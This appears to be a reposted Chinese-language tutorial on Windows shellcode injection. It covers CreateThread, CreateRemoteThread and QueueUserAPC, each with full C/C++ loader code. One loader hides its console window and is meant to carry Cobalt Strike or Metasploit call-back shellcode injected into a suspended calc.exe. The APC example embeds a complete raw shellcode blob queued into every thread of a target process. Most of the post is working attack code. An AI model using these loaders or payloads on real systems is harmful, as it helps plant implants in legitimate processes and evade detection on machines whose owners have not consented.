shellcode 注入執行技術學習


shellcode 注入執行技術學習

注入執行方式

  • CreateThread
  • CreateRemoteThread
  • QueueUserAPC

CreateThread是一種用於執行Shellcode的技術,而CreateRemoteThread和QueueUserAPC是Shellcode注入的形式。

以下是使用三種不同技術運行shellcode的過程的高級概述

CreateThread

  1. Allocate memory in the current process
  2. Copy shellcode into the allocated memory
  3. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  4. Create a thread with the base address of the allocated memory segment
  5. Wait on the thread handle to return

翻譯:

1、在當前進程中分配內存
2、將shellcode復制到分配的內存中
3、修改新分配的內存的保護,以允許從該內存空間中執行代碼
4、用分配的內存段的基地址創建一個線程
5、等待線程句柄返回

示例代碼:

// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "shellcode";	//CS或msf生成的shellcode
DWORD  WINAPI  ceshi(LPVOID pParameter)
{
    __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
    return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH://初次調用dll時執行下面代碼
    My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建線程
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
    int a;
    a = 0;
}

CreateRemoteThread

  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate executable memory within the target process
  4. Write shellcode into the allocated memory
  5. Create a thread in the remote process with the start address of the allocated memory segment

翻譯:

1、獲取要注入的進程的進程ID
2、打開目標進程
3、在目標進程內分配可執行內存
4、將shellcode寫入分配的內存
5、使用分配的內存段的起始地址在遠程進程中創建線程

img

示例代碼:

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隱藏運行程序時的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;

//使用CS或msf生成的C語言格式的上線shellcode
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2...........";

BOOL injection()
{
    wchar_t Cappname[MAX_PATH] = { 0 };
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID lpMalwareBaseAddr;
    LPVOID lpnewVictimBaseAddr;
    HANDLE hThread;
    DWORD dwExitCode;
    BOOL bRet = FALSE;

    //把基地址設置為自己shellcode數組的起始地址
    lpMalwareBaseAddr = shellcode;

    //獲取系統路徑,拼接字符串找到calc.exe的路徑
    GetSystemDirectory(Cappname, MAX_PATH);
    _tcscat(Cappname, L"\\calc.exe");

    //打印注入提示
   // printf("被注入的程序名:%S\r\n", Cappname);

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //創建calc.exe進程
    if (CreateProcess(Cappname, NULL, NULL, NULL,
        FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新進程的主線程會以暫停的狀態被創建,直到調用ResumeThread函數被調用時才運行。
        , NULL, NULL, &si, &pi) == 0)
    {
        return bRet;
    }
    //在
    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
        , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (lpnewVictimBaseAddr == NULL)
    {
        return bRet;
    }
    //遠程線程注入過程
    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
        (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

    hThread = CreateRemoteThread(pi.hProcess, 0, 0,
        (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

    WaitForSingleObject(pi.hThread, INFINITE);
    GetExitCodeProcess(pi.hProcess, &dwExitCode);
    TerminateProcess(pi.hProcess, 0);
    return bRet;
}

void help(char* proc)
{
   // printf("%s:創建進程並將shellcode寫入進程內存\r\n", proc);
}

int main(int argc, char* argv[])
{
    help(argv[0]);
    injection();
}

QueueUserAPC

  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate memory within the target process
  4. Write shellcode into the allocated memory
  5. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  6. Open a thread in the remote process with the start address of the allocated memory segment
  7. Submit thread to queue for execution when it enters an “alertable” state
  8. Resume thread to enter “alertable” state

翻譯:

1、獲取要注入的進程的進程ID
2、打開目標進程
3、在目標進程內分配內存
4、將shellcode寫入分配的內存
5、修改新分配的內存的保護,以允許從該內存空間中執行代碼
6、使用分配的內存段的起始地址在遠程進程中打開一個線程
7、進入“可更改”狀態時將線程提交到隊列中以供執行
8、恢復線程以進入“可更改”狀態

img

示例代碼:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
    unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    printf("shellAddress is: %p\n", shellAddress);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
        Sleep(1000 * 2);
    }

    return 0;
}

參考資料

你可以在以下鏈接學到更多知識

https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html

https://github.com/LOLBAS-Project/LOLBAS

https://github.com/fireeye/DueDLLigence

https://mp.weixin.qq.com/s/J78CPtHJX5ouN6fxVxMFgg

https://blog.csdn.net/qq_41874930/article/details/107888800

https://www.jianshu.com/p/bdd302d1ffa8

https://www.cnblogs.com/theseventhson/p/13199381.html

https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM